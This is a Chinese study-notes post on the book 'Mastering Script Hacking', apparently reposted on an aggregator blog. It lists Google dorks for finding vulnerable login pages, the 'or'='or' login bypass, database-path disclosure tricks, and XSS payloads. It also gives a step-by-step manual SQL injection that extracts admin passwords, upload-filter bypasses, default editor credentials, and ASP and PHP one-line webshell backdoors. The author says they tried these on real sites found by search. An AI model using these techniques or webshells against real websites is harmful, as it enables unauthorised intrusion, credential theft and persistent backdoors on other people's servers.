《精通脚本黑客》读本书吧
《精通腳本黑客》
接全文的超鏈接
備注:
1、前有 ! 代表不具備理解能力的詞語的解釋
2、xxxx : 可以被替代的例子
第一章 本地服務(wù)器搭建
HTTP超文本傳輸協(xié)議
???????????????????【 虛擬主機
Web服務(wù)器–
???????????????????【 服務(wù)器托管
ASP 一種服務(wù)端腳本語言(位于服務(wù)器端的腳本運行環(huán)境)
ASP構(gòu)建的網(wǎng)站,例http://www.xxx.com/article.asp?id=12
安裝IIS
第二章 常規(guī)腳本漏洞演練
2.1 Google Hack
1、google hack:結(jié)合google語法和一些關(guān)鍵字對網(wǎng)站進行滲透
Footprinting(踩點)收集的信息:
(1)網(wǎng)站注冊信息
(2)網(wǎng)管資料(網(wǎng)管:網(wǎng)絡(luò)管理員)
(3)共享資料
(4)端口信息
(5)FTP資源(FTP:文件傳輸協(xié)議,在 網(wǎng)絡(luò) 上進行文件傳輸?shù)囊惶讟藴蕝f(xié)議)
(6)網(wǎng)站拓撲結(jié)構(gòu):一種物理布局,能表示出 網(wǎng)絡(luò)服務(wù)器 、工作站的網(wǎng)絡(luò)配置和互相之間的連接
(7)網(wǎng)站URL地址結(jié)構(gòu)
(URL組成:資源類型、存放資源的主機域名、資源文件名或者協(xié)議,主機,端口,路徑)
(8)網(wǎng)站系統(tǒng)版本
(9)后臺地址
(10)弱口令:容易被猜到或者被破解的指令
一、google hacking——google 的基本語法:
(被劃掉的指代關(guān)鍵字)
1、intext: 驗證碼 4800 => 用戶登錄口
2、intitle: 后臺管理 => 后臺管理
3、cache:pku,edu.cn => 北京大學(xué)網(wǎng)站服務(wù)器緩存的內(nèi)容
4、define : html => 查找定義
5、filetype: 文件名.后綴名 => 查找特定文件
6、info:關(guān)鍵字 => 基本信息
7、 inurl:關(guān)鍵字 => 含有關(guān)鍵字的url地址
8、link:關(guān)鍵字 => 與關(guān)鍵字做了鏈接的url地址(查詢敏感信息)
9、site:域名 => 拓撲結(jié)構(gòu)進行,是從一個延展到剩下的所有相關(guān)
10、relate:URL => 與之相關(guān)聯(lián)的url,比如搜索清華會出現(xiàn)北大
其余不常用的關(guān)鍵字搜索:
二、google hacking——入侵
瀏覽器中輸入 site:網(wǎng)站url inurl:php?id= 找到存在xx網(wǎng)站存在php?id=的網(wǎng)站,再逐一驗證該網(wǎng)址是否存在注入漏洞,具體方法 在網(wǎng)址后面添加 and 1=1 和 and 1=2,如果兩個頁面顯示不同,即為存在注入漏洞。(但是這里試的時候不行,所有找的的網(wǎng)址進去之后都,“您進入的網(wǎng)頁不存在,即將返回主頁”,我不理解。)
三、挖掘雞的使用
[后期實踐再補全這部分]
目錄瀏覽漏洞
原因:網(wǎng)站被目錄瀏覽,又可以搜索數(shù)據(jù)庫鏈接文件,導(dǎo)致數(shù)據(jù)庫物理路徑泄露。
(! 物理路徑:硬盤上的文件路徑)
常見目錄瀏覽的網(wǎng)頁:To parent directory parent directory // Last modified Description // 轉(zhuǎn)到父目錄 // index of /
搜索目錄瀏覽的主要語法:inurl , intitle , intext , site , filetype
常見的文件后綴:avi,bak,bmp,dll,exe,ini,mp3,rar,txt,wav,js,zip,chm
搜索特定的文件夾
搜索協(xié)議 常見的協(xié)議:TCP , IP , DNS , TENET
(協(xié)議分析網(wǎng):協(xié)議分析網(wǎng))
搜索域名后綴 常見的域名后綴 : com , net , mil , org , info …
! 肉雞:(傀儡機)可以被黑客遠程控制的機器,通常被用作DDOS攻擊。
! DDOS :(分布式拒絕服務(wù))通過大規(guī)模互聯(lián)網(wǎng)流量淹沒目標服務(wù)器或其周邊基礎(chǔ)設(shè)施,以破壞目標服務(wù)器、服務(wù)或網(wǎng)絡(luò)正常流量的惡意行為。
google hacking 常用語句:
google hack 部分結(jié)束 /// 撒花撒花
2.2 ‘or’ = ‘or’ 經(jīng)典漏洞攻擊
1、‘or’='or’漏洞:主要出現(xiàn)在后臺登陸上,不需要密碼則可以進入后臺管理系統(tǒng)。
用戶名,密碼均為 :'or'='or'(但我試了很多都受挫了,還有安全系統(tǒng)攔截我說不可以使用’or’='or’作為用戶名)
(ps:inurl:admin/login.asp真的很好用!)
2.3 暴庫漏洞攻擊
! webshell臨時簡介:一個asp或php木馬后門,被放置到web目錄。且只會在網(wǎng)站的web日志中留下一些數(shù)據(jù)提交記錄。得到webshell后還有可能提高權(quán)限。
2.3.1 conn.asp暴庫法
目的:暴露出數(shù)據(jù)庫的絕對地址。
inurl:"conn.asp"搜索到具有暴庫漏洞的網(wǎng)站
然后下載數(shù)據(jù)庫,里面包含了被調(diào)用的數(shù)據(jù)庫的路徑及數(shù)據(jù)庫名and on
2.3.2 %5c暴庫法
方法:在網(wǎng)址的最后一個’ / ’改為‘%5c’
dbpath=server.mappath(‘數(shù)據(jù)庫地址’)
(將相對路徑改為絕對路徑)
2.4 cookies欺騙漏洞
cookie:一個文本文件,存儲在本機,,隨著用戶請求和頁面在web服務(wù)器與瀏覽器之間傳遞。每次訪問網(wǎng)站的應(yīng)用程序都會讀取cookie信息。
花錢下載了桂林老兵,可以很方便的獲取到網(wǎng)站的cookie,從而進行修改。
md獲取不到,氣死我了。我的問題,我太菜了。后期再戰(zhàn)!(最主要上網(wǎng)也搜不到一個教程,無助了)
2.5 跨站漏洞(XSS)
原因:編寫程序時對一些變量沒有做充分的過濾,直接把用戶提交的數(shù)據(jù)送到SQL語句里執(zhí)行,導(dǎo)致用戶可以提交一些特意構(gòu)造的語句 。
利用跨站漏洞在JavaScript這種腳本代碼里面輸入惡意腳本代碼,被執(zhí)行后就變成了跨站攻擊。
大多數(shù)存在于評論,交互多的網(wǎng)站。
2.5.1 一次跨站漏洞的發(fā)掘
1、查看網(wǎng)站結(jié)構(gòu),特別是那些會顯示到頁面上的用戶輸入信息。
2、輸入跨站測試代碼 <img src = javascript:alert("test")>進行測試
3、成功 彈出對話框 ”test“
2.5.3 再次挖掘中國博客網(wǎng)之跨站漏洞
由于博客的登錄系統(tǒng)大改導(dǎo)致無法在博客網(wǎng)實踐,所以直接搜索了XSS的具體用法。
· 利用xss彈出惡意警示框:
<script> alert("xss惡意警示框!") </scirpt>· 無限刷新網(wǎng)頁
<meta http-equiv="refresh" content="0;">`剛剛翻博客看到了一句話,只能說,好樣的!
注入漏洞
工具注入
前提:能夠構(gòu)造SQL語句來訪問數(shù)據(jù)庫,有數(shù)據(jù)和數(shù)據(jù)庫交互的地方會發(fā)生SQL注入攻擊。
【注入攻擊工具:明小子(但是tmd我花了很多的錢還是沒有下載到正確的程序,我真無語。)】
! ASP:(動態(tài)服務(wù)器頁面)一個服務(wù)器端腳本環(huán)境,用來創(chuàng)建動態(tài)交互式網(wǎng)頁并建立強大的web應(yīng)用程序。
簡述一下使用明小子攻擊的方法和過程吧還是(良心教程備份)
(無特定目標)
1、得到網(wǎng)站存在SQL注入的網(wǎng)址
2、利用Google hack技術(shù)批量搜索含有注入漏洞的網(wǎng)站inurl:asp:?id=
3、明小子操作
(存在特定目標)
1、利用google hack site:站點網(wǎng)址 inurl:asp:?id=
2、利用明小子操作
(工具注入待補充)
手動注入
access數(shù)據(jù)庫 為例
1、在asp:?id=xxx后加上‘,如果報錯則說明存在注入漏洞。下面是我的結(jié)果(很草,想罵人)
2、在網(wǎng)址后面輸入 and 1=1 and 1=2,如果返回頁面不同,則說明存在注入漏洞。
3、判斷網(wǎng)站后臺數(shù)據(jù)庫的類型。
ACCESS數(shù)據(jù)庫 => 關(guān)鍵字 “Microsoft JET Database”
MSSQL => 關(guān)鍵字 “SQL Server”
4、(以ACCESS數(shù)據(jù)庫為例)猜測數(shù)據(jù)庫表名,在后面加上 and exists(select * from 表名) 或者 and exists(select count from 表名)
5、猜測列名,exists (select 列名 from 表名) 或者 exists(select count(列名) from 表名)
常見的表名為:
6、猜解列的長度,and (select top 1 len(列名) from 表名) >x => (變換x的值)
7、猜解列的內(nèi)容(用戶名和密碼),and (select top 1 asc(mid(列名,列數(shù)N,1))from 表名)>x =>(top后的值是該列的第N行,x為ASCII碼,列數(shù)N就是在這一列中的第幾個數(shù)字)
MySQL數(shù)據(jù)庫為例
1、確認數(shù)據(jù)庫版本
and ord(mid(version(),1,1))>51/*(返回正常說明是大于4.0的版本,報錯則說明是小于4.0的版本)
1、又確認數(shù)據(jù)庫版本 => /* !%20s*/ (返回錯誤則說明后臺數(shù)據(jù)庫位MySQL/* !4016%20s */ 報錯說明不到該版本。
2、確定當前數(shù)據(jù)庫的字段數(shù)目。(UNINON和order by)
2.1、UNINON(聯(lián)合查詢):(要求前面的SQL語句1和后面的SQL語句2中的字段數(shù)要相同)
2.2、order by:后加數(shù)字,提交的數(shù)字多則報錯。
3、union查詢來獲取數(shù)據(jù)庫表名
(注:字段數(shù)的書寫是1,2,3,…字段數(shù)數(shù)目)
4、想獲得什么信息就在某個字段的位置上獲取,比如,
union select 1,version(),3,4,...=> 數(shù)據(jù)庫當前版本就會出現(xiàn)在字段2的位置;union select 1,2,username,4,… => 用戶名就會出現(xiàn)在字段3的位置上。
union select 1,2,3,password,5,6,… from admin where id = 4 (這個數(shù)字是管理員的編號,是唯一的。)
! MD5信息摘要算法:一種密碼散列函數(shù),可以產(chǎn)生出一個128位(16字節(jié))的散列值(hash value),用于確保信息傳輸完整一致。
! load_file():讀取文件并返回文件內(nèi)容為字符串。(數(shù)據(jù)庫權(quán)限必須為root:超級管理員)
讀取服務(wù)器內(nèi)容:
1、判斷是否有root權(quán)限 =>
=> 返回正確則說明有root權(quán)限,錯誤則沒有。
2、判斷是否有讀寫文件的權(quán)限
and(select count(*) from MySQL.user)>03、讀取數(shù)據(jù)庫內(nèi)容
union select 1,load_file(文件的十六位進制表示) from admin2.7 文件包含漏洞
構(gòu)成遠程文件包含漏洞原因:PHP文件中的變量過濾不嚴,沒有判斷提交的參數(shù)是本地的還是遠程主機上的。
攻擊遠程文件包含漏洞:指定遠程主機上的文件作為參數(shù)來提交給變量執(zhí)行,然后在文件里寫入木馬,就會被web權(quán)限成功執(zhí)行。
! exploit:一個漏洞攻擊程序,利用它可以達到攻擊的目的,而獲得相應(yīng)的權(quán)限。
! webshell:一種代碼執(zhí)行環(huán)境。
2.8 旁注攻擊
旁注:利用同一主機上面不同網(wǎng)站的漏洞得到webshell,從而利用主機上的程序或者是服務(wù)所暴露的用戶所在的物理路徑進行入侵。
! ewebeditor : 在線HTML編輯器
利用ewebeditor去實現(xiàn)旁注攻擊
1、搜索使用ewebeditor的網(wǎng)站
2、使用原始用戶名和密碼登錄后臺。(原始用戶名:admin 原始密碼:admin或admin888)
3、如果不是原始用戶名或者密碼,則可以直接訪問db目錄下的數(shù)據(jù)庫(數(shù)據(jù)庫中會存在登錄用戶名和密碼)
查詢域名
2.9 獲取webshell的幾種方法(這個跟書上不一樣啦,面向百度編程)
webshell:一種腳本攻擊工具。一個asp,php,jsp木馬后門,與正常網(wǎng)頁混在一起,使用web方式控制網(wǎng)站服務(wù)器。
webshell(個):一種環(huán)境,被用于網(wǎng)站管理,服務(wù)器管理等等。可以在線編輯網(wǎng)頁腳本,查看數(shù)據(jù)庫,執(zhí)行任何程序命令,所以得到了webshell就相當于可以完全管理后臺。
! php是服務(wù)器腳本語言;JSP是服務(wù)器端編程技術(shù)
2.9.1 直接上傳獲取webshell
php和jsp程序常見,上傳一個不會被過濾掉的asp程序,從而獲取webshell
2.9.2 添加修改上傳類型
asp會被過濾,asa或者asP可以添加。又或者是aaspsp,過濾了一個asp會顯露出剩下的asp,從而獲取webshell
2.9.3 利用后臺管理功能寫入webshell
在后臺修改配置文件,寫入后綴是asp文件。
2.9.4 寫入過濾不完全(*)
! 一句話木馬(分為服務(wù)端和客戶端):一小段ASP代碼(服務(wù)端)插入到網(wǎng)站中,讓其可以在所要入侵的網(wǎng)站中執(zhí)行,得到shell;然后讓客戶端(一個網(wǎng)頁,一些源代碼,通過篡改源代碼找到webshell)連接服務(wù)端,上傳一個大木馬,得到webshell。
%ASP一句話木馬:
ASP常見服務(wù)端:<%execute request("value")%>;<%execute request.form("value")%>;<%eval request("value")%>;<%On Error Resume Next execute request("value")%>.
Attention:
1、action的值是插入服務(wù)端代碼的ASP文件的URL地址。
2、IP.writetext request(“value”)中的value和服務(wù)端的value相同。
3、客戶端(大樣)
把服務(wù)端插入到ASP文件中:
1、利用后臺提供的功能(可以輸入數(shù)據(jù)的地方)插入服務(wù)器。(友情連接,頁面編輯,模塊編輯)【要記住輸入數(shù)據(jù)文件的URL地址】
2、通過暴庫(或)得到網(wǎng)站數(shù)據(jù)庫的絕對路徑。(暴出的數(shù)據(jù)庫必須以asp結(jié)尾)
%PHP一句話木馬
服務(wù)端:<?request($_REQUEST['a']);?>;<?require($a);?>;<?@include(#_POST["a"]);?>
服務(wù)端插入到網(wǎng)站php文件中:
1、利用后臺可以輸入的的功能。
2、利用php網(wǎng)站中使用的文本數(shù)據(jù)庫(數(shù)據(jù)庫文件后綴為php)。
2.10 使用webshell及提升權(quán)限
2.10.1 webshell的基本使用方法
! FSO:文件系統(tǒng)對象。
2.10.2 webshell的提權(quán)
插入很長的一篇內(nèi)容
一些漏洞的名稱
1、A1-Injection / ==> 注入漏洞
2、HTML Injection - Reflected (GET ==> HTML注入GET請求
3、HTML Injection - Stored(Blog)
后續(xù)更新
未完待續(xù),后期看心情補。
總結(jié)
以上是生活随笔為你收集整理的《精通脚本黑客》读本书吧的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 明小子动力上传拿webshell.zip
- 下一篇: 三菱FX PLC编程口通讯协议详解